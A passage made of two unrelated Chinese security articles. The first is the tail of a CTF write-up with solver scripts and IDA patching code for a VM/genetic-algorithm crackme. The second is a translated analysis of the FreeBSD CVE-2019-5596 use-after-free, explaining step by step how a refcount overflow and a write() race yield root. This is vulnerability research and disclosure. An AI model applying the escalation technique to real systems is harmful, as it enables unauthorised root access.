fi.close()
c = 0
for ch in key:
if(ch in string.ascii_uppercase):
c += 1682
print n-c
if(n-c-l>50 and l ):
flag += i
break
else:
l = n-c
print flag
毫无疑问的是对于被OLLVM混淆过的程序，纯静态分析难度较大
而本题的混淆方案经过处理，网上现成的轮子只有[TSRC于17年发布的文章](https://security.tencent.com/index.php/blog/msg/112)，但由于块的分布不同所以还需要调整，由于我并不熟悉angr就不班门弄斧了，等一个师傅指教
所以所谓的静态分析其实还是要在动态的基础之上进行一定操作的。
## 黑盒破解2-时间谜题
本题目继承去年的黑盒破解，有大量的冗余无关代码，因此逆起来比较吃力，需要耐心和经常整理思路
整体而言题目很新颖，但难度有些高，需要做题人完全理解遗传算法，大胆、跳出常规思路去解题
个人认为题目的难点主要是正常做题是倒着来，即思考如何能达到目标–使correct标志位为1，进而追溯哪些数据和条件影响该标志位，然后逆向相关的函数并寻找它们和输入的关系，从而反推出输入。
而本题要求首先逆清整个程序的逻辑和几乎所有功能，然后再思考哪些逻辑不合常理，或者说应该被修改，这是一个很反常的思路。
换言之，这是不同于以往找出正确输入的CrackMe，而是一个修复类型的题目
main中主要有两个函数比较重要，分别是负责初始化的init和负责调用VM的check
init里无需多言，主要是各种各样的初始化，里面还有一些混淆，例如随机数、内存交换解密等等，但不受输入影响所以不用关心
check里跟去年一样的方式比对code，然后调用对应的函数
去年的目标是在表中构造出Binggo!\0的字符串，然后调用输出函数print出来，最后hash校验成功使得flag出现
而今年这个结构仍然保留了，所以构造Binggo!\0的字符串还是能输出Congratulations!，而题目里却没有说明这个字符串，对做题人来说题目里出现了如果构造一个输出满足hash则能给出正确反馈的状况，所以这是一个很大的坑…
还好我翻出了去年的题目一看hash完全一样，打扰了 乖乖看后面那个函数吧
是否输出Congratulations的校验标志有两处交叉引用，一处在VM的handler中，另一处则在这个final进去以后的某部分中
事实上这里才是今年题目的开始
关于VM相关的内容可以参考[去年的WP](https://blog.csdn.net/whklhhhh/article/details/80032874)中re2黑盒破解的部分，不过去年的时候还不怎么会用结构体功能来恢复对象2333
另外handler有一些升级，需要注意到，主要在于当下标寄存器大于char_table的范围即256时，去年是直接return，防止越界读写
而今年刻意地提供了这个功能
随便逆了两个func发现这个VM具备任意写的能力，那么这样可操作的范围就大了，甚至大到让人无所适从的地步
毕竟理论上来说任意写甚至可以直接按照pwn的思路来get shell
找了一圈leak，发现堆地址在init函数中提供了
继续往下看，在final()函数中做了很多事情
首先是随机生成1000个字符串，每个字符串15字节，构成一个对象数组，字符串的字符种类有3种，分别是大写字母、小写字母和数字
然后循环100次
1. 计算每个字符串和标准字符串的相似度，具体计算方法为逐字符做差取绝对值累加，将相似度保存在对象中，然后对整个数组按照相似度排序
2. 求出相似度的平均值，乘以一个比例0.0018（double类型，根据IEEE标准解析），得到值X
3. 遍历所有字符串，相似度小于X的打上标记
4. 随机选取1000对字符串，如果都具备标记则随机交换后半部分，交换完后计算相似度，如果降低则保留，否则还原
5. 遍历带有标记的字符串，随机选取一个值做+1/-1浮动，选择相似度较小的保留
6. 判断相似度最小的字符串的相似度是否小于某个值0x147，若小于则取相似度排名200-300的带有标记的字符串进行两两异或，从尾部开始逐字符计算，若相等则中断并判断下标是否小于某个值Len=0x4E57795F，若小于则判断Len+4是否大于等于30，是则退出，否则从Len开始重复该串的0-Len位，并在最后附加fill_value=”5mE9″。这一段逻辑比较绕，建议自己调试两遍看看memmove的作用
根据逻辑想到遗传算法
> 遗传算法（Genetic Algorithm,
> GA）是模拟达尔文生物进化论的自然选择和遗传学机理的生物进化过程的计算模型，是一种通过模拟自然进化过程搜索最优解的方法。
>
>
> 其主要特点是直接对结构对象进行操作，不存在求导和函数连续性的限定；具有内在的隐并行性和更好的全局寻优能力；采用概率化的寻优方法，不需要确定的规则就能自动获取和指导优化的搜索空间，自适应地调整搜索方向。
>
>
> 遗传算法以一种群体中的所有个体为对象，并利用随机化技术指导对一个被编码的参数空间进行高效搜索。其中，选择、交叉和变异构成了遗传算法的遗传操作；参数编码、初始群体的设定、适应度函数的设计、遗传操作设计、控制参数设定五个要素组成了遗传算法的核心内容
>
> 摘自简书[超详细的遗传算法(Genetic Algorithm)解析](https://www.jianshu.com/p/ae5157c26af9)
上述所有参数都是对象的成员
由于我们之前对虚拟机的逆向已经知道有任意写的能力，于是这里的所有参数我们都是可以修改的
那么问题就在于修改哪些了
默认情况下怎么跑都会由于X=平均值*选优比例0.0018=0而没有字符串被标记，于是后面几个函数就都没有用了
所以首先要修改的就是比例0.0018，虽然对象中有几个备选比例成员，测试发现都还是不行，于是大胆给他上了200（……
这个200也是需要用double类型存储的，用matlab转换
octave:3> num2hex(200)
ans = 4069000000000000
发现经过100轮遗传以后产生了很多字符串，但相似度仍然很低，于是再把max_loop遗传代数调大到1000，发现出现了很多跟标准字符串相似的串
注意特征是不同的字符全部位于尾端，猜测是因为交换的算法是两串交换尾端部分
再观察排名200-300的串
确认猜想，就是尾部若干字符不同
那么flag为啥还没出现呢？
因为数据成员中还有一个Len，默认值高达0x4E57795F，会导致任何串都无法进入
而怎么调整也并没有任何线索，它从0-23全部可取，每一个值都会导致解锁密钥不同，且进入解密时会破坏原密文
暴力试了所有值都无果，最终想到了对标准串暴力枚举所有Len和相同的值下标
结果正确的标准是对数据RC4解密后hash的值为36468080
class RC4:
def __init__(self, public_key=None):
if not public_key:
public_key = 'none_public_key'
self.public_key = public_key
self.index_i = 0;
self.index_j = 0;
self._init_box()
def _init_box(self):
"""
初始化 置换盒
"""
self.Box = [i for i in range(256)]
key_length = len(self.public_key)
j = 0
for i in range(256):
index = ord(self.public_key[(i % key_length)])
j = (j + self.Box[i] + index) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
def do_crypt(self, string):
"""
加密/解密
string : 待加/解密的字符串
"""
out = []
for s in string:
self.index_i = (self.index_i + 1) % 256
self.index_j = (self.index_j + self.Box[self.index_i]) % 256
self.Box[self.index_i], self.Box[self.index_j] = self.Box[self.index_j], self.Box[self.index_i]
r = (self.Box[self.index_i] + self.Box[self.index_j]*2 + self.index_i + self.index_j) % 256
# r = (self.Box[self.index_i] + self.Box[self.index_j]) % 256
R = self.Box[r] # 生成伪随机数
out.append(((s) ^ R))
return (out)
# c = [0x7f, 0x2e, 0x79, 0x56, 0x6, 0xc2, 0xb8, 0x47, 0x52, 0xe1, 0xb9, 0x7f, 0x38, 0x1b, 0xa, 0xcc, 0x18, 0x7a, 0xec, 0xf8, 0xa2, 0x89, 0x91, 0x78, 0xa6, 0x4b, 0x1b, 0x85, 0x93, 0x9a, 0x4c, 0x59, 0x6e, 0xf5, 0xf4, 0x7c, 0xd2, 0xf4, 0x2, 0x6, 0xe4, 0xfb, 0xcb, 0xd7, 0x7c, 0xa9, 0x85, 0xe5, 0x0, 0x15, 0x90, 0x6, 0x4f, 0x1f, 0x52, 0x54, 0xf, 0x5a, 0x3d, 0x87, 0x32, 0x5b, 0xd6, 0xb2]
c = [0xbe, 0x70, 0x48, 0xc6, 0xa1, 0x60, 0x68, 0xcf, 0xd2, 0x6e, 0x9e, 0x60, 0x81, 0x1a, 0x5d, 0x4a, 0x71, 0x9b, 0xea, 0x51, 0x2c, 0xb7, 0x46, 0xa1, 0x15, 0xb9, 0xee, 0xc6, 0xc8, 0x0, 0x8f, 0x10, 0xd, 0xc0, 0xe2, 0x79, 0xa5, 0x88, 0xcc, 0x6f, 0xc2, 0x1d, 0xd7, 0x8e, 0x2, 0xf6, 0x1b, 0x7a, 0x5f, 0x5b, 0x6f, 0xe3, 0x59, 0xe, 0x3f, 0x91, 0x16, 0x3c, 0x32, 0x95, 0x29, 0xec, 0xcb, 0xec]
def hash1(x):
r = 0
for i in x:
if(i>0x7f):
i = i+0xffffff00
r = r*16 + i
v46 = r&0xf0000000
if(v46!=0):
r = r^(v46>>24)
r = (~v46) & r & 0xffffffff
return r
true_h1 = 36468080
ori = "rXWZ2OGQwo8Em9y"
for final_len in range(24):
for i in range(len(ori)):
if(i>final_len):
continue
ss = ["" for k in range(48)]
tmp = ["" for k in range(24)]
s = ""
for k in range(len(ori)):
ss[k] = ori[k]
ss[i]=""
for k in range(final_len):
tmp[k] = ss[k]
for k in range(final_len):
ss[final_len+k-1] = tmp[k]
for k in range(len(ss)):
if(ss[k]==""):
ss[k] = "8"
ss[k+1] = "E"
ss[k+2] = "m"
ss[k+3] = "9"
break
print(ss)
for k in ss:
if(k==""):
break
s += k
print(final_len, i, s)
rc4 = RC4(s)
p = rc4.do_crypt(c)
print("".join(map(chr,p)))
h1 = hash1(p)
print((i,s,h1))
if(h1==36468080):
print("!"*150)
打印出的值检索”!!!”可以发现flag
事后跟出题老师交流了一下发现问题出在min_value上，期望解法应该是将其改为1，这样当最优解即跟标准串完全一致的串出现时，排名200-300的串才具备N个字符不同的特征
默认的0x147出现时，排名200-300的串可能有N+1，N+2个字符不同，而RC4解密是一次性的，如果第一个进行解密的串不符标准就会破坏密文导致后续正确key即使出现也无法解密出flag
赛时写了一个方便Patch的IDA脚本，在generation之前执行即可Patch各个参数
from ida_bytes import patch_bytes
import struct
base = idaapi.get_imagebase()
GA = Qword(base+0x286a8)+Qword(base+0x286b0)
print(hex(GA))
min_value = GA+0x14
loop_size = GA+0x18
weight = GA+0x30
ptr_str = GA+0x60
final_len = GA+0x40
w = "3ff0000000000000"
#w = "3FF007D4E4D205F3"
w = w.decode("hex")[::-1]
patch_bytes(weight, w)
patch_bytes(final_len, struct.pack("<L",0xd))
patch_bytes(loop_size,struct.pack("<L",20000))
patch_bytes(min_value,struct.pack("<L",1))
#patch_bytes(ptr_str,struct.pack("<Q",guess_str))
print("Patch finished")
查看当前种群
base = idaapi.get_imagebase()
data3 = Qword(base+0x29d90)
GA = Qword(base+0x286a8)+Qword(base+0x286b0)
#min_value = Dword(GA+0x14)
min_value = Dword(base+0x29d80)
for i in range(1000):
v = Dword(data3+4+24*i)
if(v>=min_value):
break
if(i<300):
s = ""
ptr_s = Qword((data3+16+24*i))
for j in range(16):
s += chr(Byte(ptr_s+j))
print("[%d]:\t%d\t%s"%(i+1,v,s))
print("alive:%d, v=%d"%(i+1,v))
想了解更多 题目出题人视角解析，请关注：滴滴安全应急响应中心（DSRC）公众号查看： | 社区文章 |
# CVE-2019-5596 : FreeBSD UaF提权漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 secfault-security，文章来源：secfault-security.com
原文地址：<https://secfault-security.com/blog/FreeBSD-SA-1902.fd.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 引言
2019年2月，`FreeBSD`项目发布了一份关于文件描述符处理可能存在漏洞的[报告](https://www.freebsd.org/security/advisories/FreeBSD-SA-19:02.fd.asc)。
类UNIX系统（如FreeBSD）允许通过`UNIX域套接字`将文件描述符发送给其他进程。例如，将文件访问权限传递给接收进程。
在内核中，文件描述符是用于间接引用存储文件对象的相关信息的C结构。例如，对vnode的引用（vnode描述文件系统的文件、文件类型或访问权限）。
如果使用UNIX域套接字将文件描述符发送到另一个进程，会发生这样的情况：对于接收进程，在内核内部会创建对此结构的引用。新文件描述符和原文件描述符是对同一文件对象的引用，因此将继承所有的信息。例如正常情况下进程的所有者无法写文件，如果存在此漏洞，将允许该进程对设备上的文件进行写操作。
该报告描述了`FreeBSD
12.0`在此机制中引入的一个错误。由于文件描述符信息是通过套接字发送的，因此发送方和接收方必须为该过程分配缓冲区。如果接收缓冲区不够大，FreeBSD内核会尝试关闭收到的文件描述符，以防止描述符泄漏给发送方。但是，当处理函数关闭文件描述符时，它无法将文件描述符中的引用释放到文件对象。这可能导致引用计数器换行。
该报告进一步指出，此错误可能导致本地权限提升，以获得root权限或越权逃逸。但是，报告的作者并没有提供概念验证。
本文抓住了这一点，并描述了Secfault Security的研究，以利用该bug提权获得root权限。
> 在下一节中，将分析漏洞，以便对错误类进行声明，并猜测可能的利用方法。
> 之后，解决了漏洞触发问题。
> 讨论了三种开发策略，同时讨论了其中两种方法失败的原因。
> 倒数第二节中，讨论了工作漏洞原语。它介绍了（至少根据作者的知识）针对FreeBSD中这些漏洞的新开发技术。解决了exploit的稳定性问题。
> 最后一部分进行总结，并指出了下一步的工作及挑战。
> 此外，附录部分描述了加速漏洞测试的条件，包括测试设置和内核补丁。
应该提到的是，该漏洞被回迁到了FreeBSD 11开发分支中。目前，此分支中的漏洞也已修复，因此它不会出现在11.3版本中。
该问题指定的CVE为[CVE-2019-5596](https://nvd.nist.gov/vuln/detail/CVE-2019-5596)。
> 注意：所有引用的代码都指的是最初的FreeBSD
> 12版本附带的易受攻击的源代码。如果没有另外提及，可以在[此处](https://download.freebsd.org/ftp/releases/amd64/amd64/12.0-RELEASE/src.txz)找到源代码。
所有PoC代码都可以在[这里下载](https://secfault-security.com/stuff/heavy_cyber_weapon.tbz)。
## 0x02 漏洞分析
为寻找漏洞的第一个线索，可以从查看发布的FreeBSD
12工程分支修订版`r343790`中的补丁开始。该修订在报告中提到过。它可以在FreeBSD开源平台的实例：[FreeBSD’s Phrabricator
instance. ](https://reviews.freebsd.org/rS343790)中找到。此修订版的修复内容如下：
1578 void
1579 m_dispose_extcontrolm(struct mbuf *m)
1580 {
...
1606 while (nfd-- > 0) {
1607 fd = *fds++;
1608 error = fget(td, fd, &cap_no_rights,
1609 &fp);
- 1610 if (error == 0)
+ 1610 if (error == 0) {
1611 fdclose(td, fp, fd);
+ 1612 fdrop(fp, td);
+ 1613 }
1614 }
...
1621 }
仅在文件`uipc_syscalls.c`中的`m_dispose_extcontrol()`函数中的添加了一个调用。该函数缺少对宏`fdrop()`的调用引入了漏洞。很自然的会有一个问题：这个宏是干什么用的？
fdrop()有两个参数，`fp`和`td`。后者是当前线程的内核指针。前者是指向struct文件对象的指针，该对象在`sys/sys/file.h`的第170行中定义。
170 struct file {
171 void *f_data; /* 文件描述符特定数据*/
172 struct fileops *f_ops; /* 文件操作*/
173 struct ucred *f_cred; /* 相关凭据 */
174 struct vnode *f_vnode; /*NULL或适用的vnode */
175 short f_type; /* 描述符类型*/
176 short f_vnread_flags; /*(f)睡眠锁定*/
177 volatile u_int f_flag; /* 见fcntl.h*/
178 volatile u_int f_count; /* 参考计数 */
179 /*
180 * DTYPE_VNODE特定字段
181 */
182 int f_seqcount; /* （a）顺序访问次数 */
183 off_t f_nextoff; /* 下一个预期的读/写偏移量 */
184 union {
185 struct cdev_privdata *fvn_cdevpriv;
186 /* （d）cdev的私人数据 */
187 struct fadvise_info *fvn_advice;
188 } f_vnun;
189 /*
190 *DFLAG_SEEKABLE特定字段
191 */
192 off_t f_offset;
193 /*
194 *强制访问控制信息
195 */
196 void *f_label; /* MAC标签的占位符*/
197 };
`fdrop()`本身是一个宏，它先调用`refcount_release()`。此函数自动将struct定义的第178行中的`f_count`减1，如果在调用函数之前`f_count`小于或等于1则返回1，否则返回0。
如果返回值为1，则宏调用`_fdrop()`函数。
`_fdrop()`在`sys/kern/kern_descrip.c`中定义。
2943 int __noinline
2944 _fdrop(struct file *fp, struct thread *td)
2945 {
2946 int error;
2947
2948 if (fp->f_count != 0)
2949 panic("fdrop: count %d", fp->f_count);
2950 error = fo_close(fp, td);
2951 atomic_subtract_int(&openfiles, 1);
2952 crfree(fp->f_cred);
2953 free(fp->f_advice, M_FADVISE);
2954 uma_zfree(file_zone, fp);
2955
2956 return (error);
2957 }
有趣的是第2954行，这里调用了`uma_zfree()`函数。这是一个内核内置的函数，可以释放堆上已分配的块。内核堆管理的细节超出了本文的讨论范围。内核分配器的内部工作原理由argp和karl在[Phrack
#0x42, Phile
#0x08](http://phrack.org/issues/66/8.html#article)中讲解。另一个资源是McKusick等人编写的“The
Design and Implementation of the FreeBSD Operating System”一书。
对于本篇文章，以下有关内核堆的知识就足够了：FreeBSD内核的堆分配器允许定义“区域（zones）”。每个区域用于通过创建“桶（buckets）”来管理特定大小的页面块。要在内核堆上分配块，必须调用`uma_zalloc()`函数并使用指定区域的参数。该函数返回一个指向取自该区域的“桶”的指针。如果“桶”为空，则为该区域分配新页面并按区域的块大小切块。
例如，套接字区域用于分配大小为872字节的块，内核使用这些块来为套接字对象分配堆空间。还有一些匿名区域，如256，它们被内核中的malloc()调用。
可以使用命令`vmstat -z`查看所有可用区域，包括其统计信息。
当内核通过`uma_zalloc()`释放堆块时，释放的堆块将被放回到区域的”桶”中。后续调用`malloc()`或`uma_zalloc()`函数时，将以LIFO（后进先出）式从这些存储“桶”中获取块。
目前，有趣的见解是：
> uma_zfree()被file_zone调用
> file_zone指的是一个名为Files的用于存放struct文件类型的特殊区域
> 如果另一个函数从Files分配一个struct文件，它最终会收到_fdrop()释放的指针
最新观察结果：在`sys/kern/kern_descrip.c`的fdclose()函数的第2384行调用了fdrop()。
2376 fdclose(struct thread *td, struct file *fp, int idx)
2377 {
2378 struct filedesc *fdp = td->td_proc->p_fd;
2379
2380 FILEDESC_XLOCK(fdp);
2381 if (fdp->fd_ofiles[idx].fde_file == fp) {
2382 fdfree(fdp, idx);
2383 FILEDESC_XUNLOCK(fdp);
2384 fdrop(fp, td);
2385 } else
2386 FILEDESC_XUNLOCK(fdp);
2387 }
漏洞的描述中提到了引用计数器的包装，可以看到缺少第二个fdrop()会导致相应struct文件中的引用计数器`f_count`溢出。这可能会导致`use-after-free（UaF）`漏洞（Vitaly
Nikolenko的[https://ruxcon.org.au/assets/2016/slides/ruxcon2016-Vitaly.pdf，](https://ruxcon.org.au/assets/2016/slides/ruxcon2016-Vitaly.pdf%EF%BC%8C)
获得相似的漏洞示例）。
为了捋清这个问题，我们将研究`m_dispose_extcontrolm()`的确切目的和易受攻击路径。
## 0x03 漏洞触发路径
引入`m_dispose_extcontrolm()`函数的[目的](https://reviews.freebsd.org/D16561)，是为了使用UNIX域套接字发送文件描述符。发送文件描述符是由`sendmsg()`函数完成的，它允许将所谓的控制数据放入消息中（有关详细信息，请参阅手册页）。文件描述符是由控制消息类型`SCM_RIGHTS`负责发送的。
[很久以前就观察到](https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=131876)，如果接收器的缓冲区太小，会导致文件描述符的泄漏。列出的漏洞条目表明，在接收缓冲区不够大的情况下，接收进程必须关闭已打开的文件描述符，因为并非所有描述符都被接收了。但是，由于接收到的文件描述符被处理并且创建了对文件对象的引用（如引言中所述），如果没有关闭文件描述符，这些文件描述符就有可能被泄露。
因此，引入了新函数`m_dispose_extcontrol()`解决这一问题。看`sys/kern/uipc_syscalls.c`中`kern_recvit()`的第998行进入判断后，在第1033行中的调用。
902 int
903 kern_recvit(struct thread *td, int s, struct msghdr *mp, enum uio_seg fromseg,
904 struct mbuf **controlp)
905 {
...
998 if (mp->msg_control && controlp == NULL) {
999 #ifdef COMPAT_OLDSOCK
...
1018 #endif
1019 ctlbuf = mp->msg_control;
1020 len = mp->msg_controllen;
1021 mp->msg_controllen = 0;
1022 for (m = control; m != NULL && len >= m->m_len; m = m->m_next) {
1023 if ((error = copyout(mtod(m, caddr_t), ctlbuf,
1024 m->m_len)) != 0)
1025 goto out;
1026
1027 ctlbuf += m->m_len;
1028 len -= m->m_len;
1029 mp->msg_controllen += m->m_len;
1030 }
1031 if (m != NULL) {
1032 mp->msg_flags |= MSG_CTRUNC;
1033 m_dispose_extcontrolm(m);
1034 }
1035 }
可见，如果发送包含控制部分中的文件描述符的消息，则遵循此路径运行，但用于接收此消息的`recvmsg()`函数是不需要控制消息的。但是由于第1020行中的`len`将为0，而`m->m_len`更大，这将触发`m_dispose_controlm()`函数。因为在发送的消息中存在控制消息，程序不执行第1022行中的循环，而是分配给`m`非NULL的内容。
也就是说，要调用`m_dispose_constrolm()`，必须完成以下操作：
> 1.创建一个UNIX域套接字
> 2.分配一个足够大的缓冲区，通过包含文件描述符的套接字发送消息
> 3.分配一个不够大的缓冲区，通过包含文件描述符的套接字接收消息
> 4.使用sendmsg（）发送消息
> 5.使用recvmsg（）接收消息
现在，可以找到漏洞位置了。再次观察`m_dispose_extcontrolm()`的第1606行。
1578 void
1579 m_dispose_extcontrolm(struct mbuf *m)
1580 {
...
1606 while (nfd-- > 0) {
1607 fd = *fds++;
1608 error = fget(td, fd, &cap_no_rights,
1609 &fp);
1610 if (error == 0)
1611 fdclose(td, fp, fd);
1612 }
有趣的部分是对`fget()`的调用。此函数最终会导致`fget_unlocked()`，它从文件描述符fd中提取指向struct文件对象的指针，将地址保存在指针fp中，并将struct文件对象的引用计数器`f_count`加1。但是，因为接收器使用自己的文件描述符保存对同一struct文件对象的引用，发送文件描述符时也会增加引用计数器的值，因此，计数器总共增加了2。
最后，第1611行中的`fdclose()`关闭了接收者的文件描述符，删除了对结构的引用，但没有考虑到调用fget()过程中f_count总共增加了2。
因此，该函数会产生一个可以将f_count增加1的语句。因为f_count的类型为u_int，其大小为32位，所以可以在合理的时间内溢出该变量。可以通过迭代增加f_count的语句，直到结果超过32位。变量将删除高于32位的所有位，再次回绕到0。
如果用这种方法将f_count溢出为1，则有可能实现UaF。为此，发送进程需要将两个文件描述符保存到同一个struct文件中，可以利用`dup()`函数复制一个文件描述符来实现这一操作。现在，如果其中一个文件描述符在溢出后关闭，则调用`fdrop()`。如上所述，此调用会看到`f_count`为1，释放struct文件对象。而此时，仍然可以通过第二个仍然打开的文件描述符引用释放的块。
现在捋清了基本的想法。因为这部分非常重要，所以应该更详细地描述如何触发漏洞，以及一些需要解决的问题。
首先，使用`open()`打开文件，并使用`dup()`复制文件描述符。这会使两个文件描述符引用相同的struct文件对象。因此，`f_count`是2。
接下来，如上所述，重复触发`m_dispose_extcontrolm()`以溢出f_count，最后再次将其设置为1。但这有一些问题。在这一过程中不可能发送任意数量的文件描述符。因为每个文件描述符都需要占用发送消息的空间，但内核内部只有有限的`mbufs`（构建消息以供进一步处理的空间）可用。
幸运的是，在调用`m_dispose_extcontrolm()`递减计数器前可以通过套接字多次发送文件描述符会多次增加引用计数器。
因此，UaF的准备需要一些时间。用于本研究的虚拟机，大概需要准备20分钟（2G内存，双核处理器）。
此外，重要的是要注意溢出必须使`f_count == 1`而不是0，因为如果f_count ==
0时调用fdrop()，会导致内核崩溃。这是因为`refcount_release()`仅通过检查计数器是否为0判断是否空闲，但_fdrop()会使f_count正好为0。如果计数器为负，`_fdrop`会使程序崩溃（通过将引用计数器增加到0xffffffff
= -1`二进制补码`，可以将此行为用作概念验证，因为在递减到0xffffffff之前，f_count将为0）。
将`f_count`调整为1后，其中一个文件描述符被“手动”关闭。调用_fdrop()使f_count递减为0后将触发`free`。使struct文件对象释放到Files区域的存储“桶”中。由于之前的`dup()`，第二个文件描述符仍引用已释放的struct文件对象，但因为对象本身被标记为无效,对第二个文件描述符来说，这个已释放的struct文件对象现在是无效的。
在这有另一个问题：struct文件的其他系统调用如`read()`或`write()`会用到`fget_unlocked()`函数。此函数将检查所使用的文件描述符是否小于最大有效文件描述符。因此，最好关闭第一个文件描述符，因为重复的文件描述符通常会更大。
至此，我们已经获得了一个引用无效结构文件的文件描述符。一旦这个struct文件的内存被另一个`open()`函数重用，我们的“悬空”的文件描述符将再次生效。但是，它将指向新打开的文件。“悬空”文件描述符可用于与新打开的文件描述符相同的操作。因为它们共享相同的struct文件，所以新打开的文件描述符的所有权限都由“悬挂”的文件描述符继承。例如，如果第一个文件是以只读方式打开而第二个文件是可写的，则可以使用悬空文件描述符写入新打开的文件。
将在下一节和之后的部分讲解如何利用它。
总结触发策略：
> 用open（）打开一个文件
> 使用dup（）复制文件描述符
> 通过调用m_dispose_extcontrol（）溢出f_count为1
> 关闭第一个文件描述符并触发free
> 再次调用open（）以从Files区域分配另一个struct文件，从而产生利用“悬空”的文件描述符的对象
可以在`trigger_uaf.c`中找到第一个概念验证。值得注意的是，程序关闭时会导致内核崩溃。这将在最终的漏洞利用中得到解决。感兴趣的读者可以在继续阅读之前尝试找出解决的方案。
## 0x04 漏洞利用策略
本节将讨论三种可能的漏洞利用策略，其中两种在研究期间失败了。
### 1.利用suid程序
最简单的策略之一是检查是否有可能触发UaF并在此之后执行suid程序(如passwd)，使“悬挂”的文件描述符得到root权限。
exploit需要将结构体对象完全放入Files区域的“桶”中。如果suid程序以可写方式打开root所拥有的文件（如master.passwd或libmap.conf），则可以从用户上下文写入此文件。
理论上这种策略是有效的。可以在文件`setuid_test_client.c`和`setuid_test_server.c`中找到概念验证（注意：编译的setuid_test_server.c和suid必须是root所有的）。
但是，找到这样一个程序非常难。标准安装中的大多数实用程序以只读方式打开可利用的文件或很快就关闭它们。
因此这种方法很早就被pass了。
### 2.内存损坏
另一种典型的办法是找到破坏内核内存的方法，以便执行用户提供的代码。这意味着可能要覆盖例如结构文件对象内的函数指针或可以由结构文件对象间接引用的另一个对象。
实际上，[fail0verflow](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/)使用了一种非常类似的技术,利用了基于FreeBSD 9的PlayStation 4操作系统中的漏洞。他们打开了一个kqueue-一个监视内核事件的FreeBSD机制。
kqueue-files利用结构体中的`f_data`指针来管理kqueue。堆空间是从其中一个匿名区域分配的。因此，可以使用`ioctl()`对该区域进行堆喷射，并覆盖文中描述的函数指针。
但是，fail0verflow使用的漏洞与本研究中使用的漏洞之间存在显着差异：前者允许任意free，例如`f_data`指针。后者只允许释放struct文件。当内核清理所有可用的struct字段和指针时，不可能使用fail0verflow的代码。
在研究期间，对所有其他可能依赖于struct文件的对象都及进行了尝试，但是由于刚才所说的原因，无法通过内存损坏来利用漏洞。
### 3.在write()期间交换文件对象
这是第一种方法的变体。
一旦用户尝试通过文件描述符写入，FreeBSD内核就会检查文件是否可写。如果检查通过，则准备执行写操作。这创建了一个基于`Time-of-Check-Time-of-Use（TOCTOU）`条件竞争的方案。
思路如下：传递的检查和写入操作之间的时间窗口会产生条件竞争。可以利用漏洞释放struct文件对象，并立即打开另一个只读文件。由于此时写入检查已经完成，但struct文件被替换被，最终会在只读文件上执行写入操作。
由于此策略最终成功用于利用UaF获取root权限，因此将在下一节中详细介绍。
值得一提的是，Google Project Zero的Jann Horn在Linux中利用了相似的漏洞并使用了类似的方法。2016年在Project
Zero上发布的[相关文章](https://bugs.chromium.org/p/project-zero/issues/detail?id=808)。
## 0x05 提权
如上一节所述，基于Time-of-Check-Time-of-Use（TOCTOU）条件竞争的攻击：对用户可写的文件调用write()。系统调用首先检查文件描述符引用的文件是否确实可由用户写入，如果没有写权限，将导致系统错误。检查通过后，将触发UaF漏洞，之后普通用户可以打开root所拥有的只读文件。
检查的工作方式如下：`write()`函数将调用在`sys/kern/sys_generic.c`中的内核函数`sys_write()`。随后，调用同一文件中的`kern_writev()`，这会调用`fget_write()`函数。后者在`sys/kern/kern_descrip.c`中定义。此函数用于检索文件描述符的struct文件对象，并检查是否可写。
为此，该函数会调用`_fget()`函数。
2716 static __inline int
2717 _fget(struct thread *td, int fd, struct file **fpp, int flags,
2718 cap_rights_t *needrightsp, seq_t *seqp)
2719 {
2720 struct filedesc *fdp;
2721 struct file *fp;
2722 int error;
2723
2724 *fpp = NULL;
2725 fdp = td->td_proc->p_fd;
2726 error = fget_unlocked(fdp, fd, needrightsp, &fp, seqp);
...
2738 switch (flags) {
2739 case FREAD:
2740 case FWRITE:
2741 if ((fp->f_flag & flags) == 0)
2742 error = EBADF;
2743 break;
...
2753 }
2754
2755 if (error != 0) {
2756 fdrop(fp, td);
2757 return (error);
2758 }
2759
2760 *fpp = fp;
2761 return (0);
2762 }
请看第2741行的检查函数，`f_flag`是在第一次调用open()时设置的struct文件中的一个字段。调用write()会检查`FWRITE`位。因此，仅当用户对打开的文件具有写权限时才能设置该位。
应注意：假设此时已经准备好UaF，即f_count变量溢出为1，且调用fget_unlocked()将f_count增加到了2。计数器将在调用write()结束时再次减少到1。
但是，如果通过检查，则可以通过UaF和另一个open()操作将文件对象变换为只读文件。之后将能在第二个文件中写入。可以在`test_rd_only_write.c`中找到第一个概念验证（请注意，如文件开头的注释中所述，该测试需要内核补丁;详细信息，请参阅附录）。
检查通过后，`kern_writev()`将调用同一文件中的`dofilewrite（）`。
545 static int
546 dofilewrite(struct thread *td, int fd, struct file *fp, struct uio *auio,
547 off_t offset, int flags)
548 {
...
564 if (fp->f_type == DTYPE_VNODE &&
565 (fp->f_vnread_flags & FDEVFS_VNODE) == 0)
566 bwillwrite();
567 if ((error = fo_write(fp, auio, td->td_ucred, flags, td))) {
...
576 }
577 }
...
587 }
这个函数有两个有趣的函数调用。第一个是第567行中的`fo_write()`。该函数最终会执行写操作。也就是说，struct文件变换必须在调用此函数之前(或者在fo_write()内部的后续函数调用中，这不是必需的)。
不过，条件竞争过程非常紧张，如果其他条件不满足也难以成功。此外，必须一次就成功，否则内核将会崩溃。
假设在通过检查时`f_count`为2。此时必须调用`close()`两次。但是如果检查尚未通过或者write()已经完成，f_count仍然是1。`_fdrop（）`将判断引用计数器正好为0，但是调用两次`close()`会使函数将引用计数器解释为负数。错误的判断将导致程序崩溃。
Jann
Horn通过编写FUSE文件系统来延迟Linux的内核操作，该系统延迟能够帮助赢得竞争条件，提高写入操作的成功率。在标准的FreeBSD中由于无法加载FUSE（并且可供相应用户使用），是不可能实现的。
在第566行中对`bwillwrite()`的调用创造了条件。此函数和`buf_dirty_count_severe()`函数在`sys/kern/vfs_bio.c`中定义。
2564 bwillwrite(void)
2565 {
2566
2567 if (buf_dirty_count_severe()) {
2568 mtx_lock(&bdirtylock);
2569 while (buf_dirty_count_severe()) {
2570 bdirtywait = 1;
2571 msleep(&bdirtywait, &bdirtylock, (PRIBIO + 4),
2572 "flswai", 0);
2573 }
2574 mtx_unlock(&bdirtylock);
2575 }
2576 }
2577
2578 /*
2579 * Return true if we have too many dirty buffers.
2580 */
2581 int
2582 buf_dirty_count_severe(void)
2583 {
2584
2585 return (!BIT_EMPTY(BUF_DOMAINS, &bdhidirty));
2586 }
